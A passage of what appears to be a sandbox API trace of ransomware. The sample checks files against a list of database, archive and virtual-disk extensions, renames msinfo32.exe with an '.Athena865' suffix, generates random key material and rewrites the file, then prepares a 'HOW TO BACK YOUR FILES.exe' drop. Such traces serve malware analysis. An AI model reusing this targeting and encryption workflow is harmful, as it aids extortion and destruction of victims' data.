(lpString1="exe", lpString2="ba_") returned 1 [0111.610] lstrlenW (lpString="dbb") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0111.610] lstrlenW (lpString="vmdk") returned 4 [0111.610] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0111.610] lstrlenW (lpString="rar") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0111.610] lstrlenW (lpString="zip") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0111.610] lstrlenW (lpString="tgz") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0111.610] lstrlenW (lpString="vbox") returned 4 [0111.610] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0111.610] lstrlenW (lpString="vdi") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0111.610] lstrlenW (lpString="vhd") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0111.610] lstrlenW (lpString="vhdx") returned 4 [0111.610] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0111.610] lstrlenW (lpString="avhd") returned 4 [0111.610] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0111.610] lstrlenW (lpString="db") returned 2 [0111.611] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0111.611] lstrlenW (lpString="db2") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0111.611] lstrlenW (lpString="db3") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0111.611] lstrlenW (lpString="dbf") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0111.611] lstrlenW (lpString="mdf") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0111.611] lstrlenW (lpString="mdb") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0111.611] lstrlenW (lpString="sql") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0111.611] lstrlenW (lpString="sqlite") returned 6 [0111.611] lstrcmpiW (lpString1="32.exe", lpString2="sqlite") returned -1 [0111.611] lstrlenW (lpString="sqlite3") returned 7 [0111.611] lstrcmpiW (lpString1="o32.exe", lpString2="sqlite3") returned -1 [0111.611] lstrlenW (lpString="sqlitedb") returned 8 [0111.611] lstrcmpiW (lpString1="fo32.exe", lpString2="sqlitedb") returned -1 [0111.611] lstrlenW (lpString="xml") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0111.611] lstrlenW (lpString="$er") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0111.611] lstrlenW (lpString="4dd") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0111.611] lstrlenW (lpString="4dl") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0111.611] lstrlenW (lpString="^^^") returned 3 [0111.611] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0111.612] lstrlenW (lpString="abs") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0111.612] lstrlenW (lpString="abx") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0111.612] lstrlenW (lpString="accdb") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accdb") returned -1 [0111.612] lstrlenW (lpString="accdc") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accdc") returned -1 [0111.612] lstrlenW (lpString="accde") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accde") returned -1 [0111.612] lstrlenW (lpString="accdr") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accdr") returned -1 [0111.612] lstrlenW (lpString="accdt") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accdt") returned -1 [0111.612] lstrlenW (lpString="accdw") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accdw") returned -1 [0111.612] lstrlenW (lpString="accft") returned 5 [0111.612] lstrcmpiW (lpString1="2.exe", lpString2="accft") returned -1 [0111.612] lstrlenW (lpString="adb") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0111.612] lstrlenW (lpString="adb") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0111.612] lstrlenW (lpString="ade") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0111.612] lstrlenW (lpString="adf") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0111.612] lstrlenW (lpString="adn") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0111.612] lstrlenW (lpString="adp") returned 3 [0111.612] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0111.613] lstrlenW (lpString="alf") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0111.613] lstrlenW (lpString="ask") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0111.613] lstrlenW (lpString="btr") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0111.613] lstrlenW (lpString="cat") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0111.613] lstrlenW (lpString="cdb") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0111.613] lstrlenW (lpString="ckp") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0111.613] lstrlenW (lpString="cma") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0111.613] lstrlenW (lpString="cpd") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0111.613] lstrlenW (lpString="dacpac") returned 6 [0111.613] lstrcmpiW (lpString1="32.exe", lpString2="dacpac") returned -1 [0111.613] lstrlenW (lpString="dad") returned 3 [0111.613] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0111.613] lstrlenW (lpString="dadiagrams") returned 10 [0111.613] lstrcmpiW (lpString1="info32.exe", lpString2="dadiagrams") returned 1 [0111.613] lstrlenW (lpString="daschema") returned 8 [0111.613] lstrcmpiW (lpString1="fo32.exe", lpString2="daschema") returned 1 [0111.613] lstrlenW (lpString="db-journal") returned 10 [0111.613] lstrcmpiW (lpString1="info32.exe", lpString2="db-journal") returned 1 [0111.613] lstrlenW (lpString="db-shm") returned 6 [0111.613] lstrcmpiW (lpString1="32.exe", lpString2="db-shm") returned -1 [0111.613] lstrlenW (lpString="db-wal") returned 6 [0111.613] lstrcmpiW (lpString1="32.exe", lpString2="db-wal") returned -1 [0111.614] lstrlenW (lpString="dbc") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0111.614] lstrlenW (lpString="dbs") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0111.614] lstrlenW (lpString="dbt") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0111.614] lstrlenW (lpString="dbv") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0111.614] lstrlenW (lpString="dbx") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0111.614] lstrlenW (lpString="dcb") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0111.614] lstrlenW (lpString="dct") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0111.614] lstrlenW (lpString="dcx") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0111.614] lstrlenW (lpString="ddl") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0111.614] lstrlenW (lpString="dlis") returned 4 [0111.614] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0111.614] lstrlenW (lpString="dp1") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0111.614] lstrlenW (lpString="dqy") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0111.614] lstrlenW (lpString="dsk") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0111.614] lstrlenW (lpString="dsn") returned 3 [0111.614] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0111.614] lstrlenW (lpString="dtsx") returned 4 [0111.615] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0111.615] lstrlenW (lpString="dxl") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0111.615] lstrlenW (lpString="eco") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0111.615] lstrlenW (lpString="ecx") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0111.615] lstrlenW (lpString="edb") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0111.615] lstrlenW (lpString="epim") returned 4 [0111.615] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0111.615] lstrlenW (lpString="fcd") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0111.615] lstrlenW (lpString="fdb") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0111.615] lstrlenW (lpString="fic") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0111.615] lstrlenW (lpString="flexolibrary") returned 12 [0111.615] lstrlenW (lpString="fm5") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0111.615] lstrlenW (lpString="fmp") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0111.615] lstrlenW (lpString="fmp12") returned 5 [0111.615] lstrcmpiW (lpString1="2.exe", lpString2="fmp12") returned -1 [0111.615] lstrlenW (lpString="fmpsl") returned 5 [0111.615] lstrcmpiW (lpString1="2.exe", lpString2="fmpsl") returned -1 [0111.615] lstrlenW (lpString="fol") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0111.615] lstrlenW (lpString="fp3") returned 3 [0111.615] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0111.616] lstrlenW (lpString="fp4") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0111.616] lstrlenW (lpString="fp5") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0111.616] lstrlenW (lpString="fp7") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0111.616] lstrlenW (lpString="fpt") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0111.616] lstrlenW (lpString="frm") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0111.616] lstrlenW (lpString="gdb") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0111.616] lstrlenW (lpString="gdb") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0111.616] lstrlenW (lpString="grdb") returned 4 [0111.616] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0111.616] lstrlenW (lpString="gwi") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0111.616] lstrlenW (lpString="hdb") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0111.616] lstrlenW (lpString="his") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0111.616] lstrlenW (lpString="ib") returned 2 [0111.616] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0111.616] lstrlenW (lpString="idb") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0111.616] lstrlenW (lpString="ihx") returned 3 [0111.616] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0111.616] lstrlenW (lpString="itdb") returned 4 [0111.616] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0111.617] lstrlenW (lpString="itw") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0111.617] lstrlenW (lpString="jet") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0111.617] lstrlenW (lpString="jtx") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0111.617] lstrlenW (lpString="kdb") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0111.617] lstrlenW (lpString="kexi") returned 4 [0111.617] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0111.617] lstrlenW (lpString="kexic") returned 5 [0111.617] lstrcmpiW (lpString1="2.exe", lpString2="kexic") returned -1 [0111.617] lstrlenW (lpString="kexis") returned 5 [0111.617] lstrcmpiW (lpString1="2.exe", lpString2="kexis") returned -1 [0111.617] lstrlenW (lpString="lgc") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0111.617] lstrlenW (lpString="lwx") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0111.617] lstrlenW (lpString="maf") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0111.617] lstrlenW (lpString="maq") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0111.617] lstrlenW (lpString="mar") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0111.617] lstrlenW (lpString="marshal") returned 7 [0111.617] lstrcmpiW (lpString1="o32.exe", lpString2="marshal") returned 1 [0111.617] lstrlenW (lpString="mas") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0111.617] lstrlenW (lpString="mav") returned 3 [0111.617] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0111.617] lstrlenW (lpString="maw") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0111.618] lstrlenW (lpString="mdbhtml") returned 7 [0111.618] lstrcmpiW (lpString1="o32.exe", lpString2="mdbhtml") returned 1 [0111.618] lstrlenW (lpString="mdn") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0111.618] lstrlenW (lpString="mdt") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0111.618] lstrlenW (lpString="mfd") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0111.618] lstrlenW (lpString="mpd") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0111.618] lstrlenW (lpString="mrg") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0111.618] lstrlenW (lpString="mud") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0111.618] lstrlenW (lpString="mwb") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0111.618] lstrlenW (lpString="myd") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0111.618] lstrlenW (lpString="ndf") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0111.618] lstrlenW (lpString="nnt") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0111.618] lstrlenW (lpString="nrmlib") returned 6 [0111.618] lstrcmpiW (lpString1="32.exe", lpString2="nrmlib") returned -1 [0111.618] lstrlenW (lpString="ns2") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0111.618] lstrlenW (lpString="ns3") returned 3 [0111.618] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0111.618] lstrlenW (lpString="ns4") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0111.619] lstrlenW (lpString="nsf") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0111.619] lstrlenW (lpString="nv") returned 2 [0111.619] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0111.619] lstrlenW (lpString="nv2") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0111.619] lstrlenW (lpString="nwdb") returned 4 [0111.619] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0111.619] lstrlenW (lpString="nyf") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0111.619] lstrlenW (lpString="odb") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0111.619] lstrlenW (lpString="odb") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0111.619] lstrlenW (lpString="oqy") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0111.619] lstrlenW (lpString="ora") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0111.619] lstrlenW (lpString="orx") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0111.619] lstrlenW (lpString="owc") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0111.619] lstrlenW (lpString="p96") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0111.619] lstrlenW (lpString="p97") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0111.619] lstrlenW (lpString="pan") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0111.619] lstrlenW (lpString="pdb") returned 3 [0111.619] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0111.620] lstrlenW (lpString="pdm") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0111.620] lstrlenW (lpString="pnz") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0111.620] lstrlenW (lpString="qry") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0111.620] lstrlenW (lpString="qvd") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0111.620] lstrlenW (lpString="rbf") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0111.620] lstrlenW (lpString="rctd") returned 4 [0111.620] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0111.620] lstrlenW (lpString="rod") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0111.620] lstrlenW (lpString="rodx") returned 4 [0111.620] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0111.620] lstrlenW (lpString="rpd") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0111.620] lstrlenW (lpString="rsd") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0111.620] lstrlenW (lpString="sas7bdat") returned 8 [0111.620] lstrcmpiW (lpString1="fo32.exe", lpString2="sas7bdat") returned -1 [0111.620] lstrlenW (lpString="sbf") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0111.620] lstrlenW (lpString="scx") returned 3 [0111.620] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0111.621] lstrlenW (lpString="sdb") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0111.621] lstrlenW (lpString="sdc") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0111.621] lstrlenW (lpString="sdf") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0111.621] lstrlenW (lpString="sis") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0111.621] lstrlenW (lpString="spq") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0111.621] lstrlenW (lpString="te") returned 2 [0111.621] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0111.621] lstrlenW (lpString="teacher") returned 7 [0111.621] lstrcmpiW (lpString1="o32.exe", lpString2="teacher") returned -1 [0111.621] lstrlenW (lpString="tmd") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0111.621] lstrlenW (lpString="tps") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0111.621] lstrlenW (lpString="trc") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0111.621] lstrlenW (lpString="trc") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0111.621] lstrlenW (lpString="trm") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0111.621] lstrlenW (lpString="udb") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0111.621] lstrlenW (lpString="udl") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0111.621] lstrlenW (lpString="usr") returned 3 [0111.621] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0111.622] lstrlenW (lpString="v12") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0111.622] lstrlenW (lpString="vis") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0111.622] lstrlenW (lpString="vpd") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0111.622] lstrlenW (lpString="vvv") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0111.622] lstrlenW (lpString="wdb") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0111.622] lstrlenW (lpString="wmdb") returned 4 [0111.622] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0111.622] lstrlenW (lpString="wrk") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0111.622] lstrlenW (lpString="xdb") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0111.622] lstrlenW (lpString="xld") returned 3 [0111.622] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0111.622] lstrlenW (lpString="xmlff") returned 5 [0111.622] lstrcmpiW (lpString1="2.exe", lpString2="xmlff") returned -1 [0111.622] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.Athena865") returned 76 [0111.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.athena865"), dwFlags=0x1) returned 1 [0111.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0111.624] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=378880) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0111.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0111.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0111.625] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.625] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.625] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cb00, lpName=0x0) returned 0x17c [0111.627] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cb00) returned 0x2d50000 [0111.672] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0111.673] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.673] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.674] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.677] CloseHandle (hObject=0x17c) returned 1 [0111.677] CloseHandle (hObject=0x154) returned 1 [0111.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0111.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0111.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0111.679] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0111.679] ReleaseMutex (hMutex=0xec) returned 1 [0111.679] CloseHandle (hObject=0xec) returned 1 [0111.679] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" [0111.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0111.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f598 | out: hHeap=0x4f0000) returned 1 [0111.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned 55 [0111.679] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E0145D16A6592C10A453CBE3AE547A29") returned 0xec [0111.679] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0111.679] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" [0111.679] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0111.680] CopyFileW 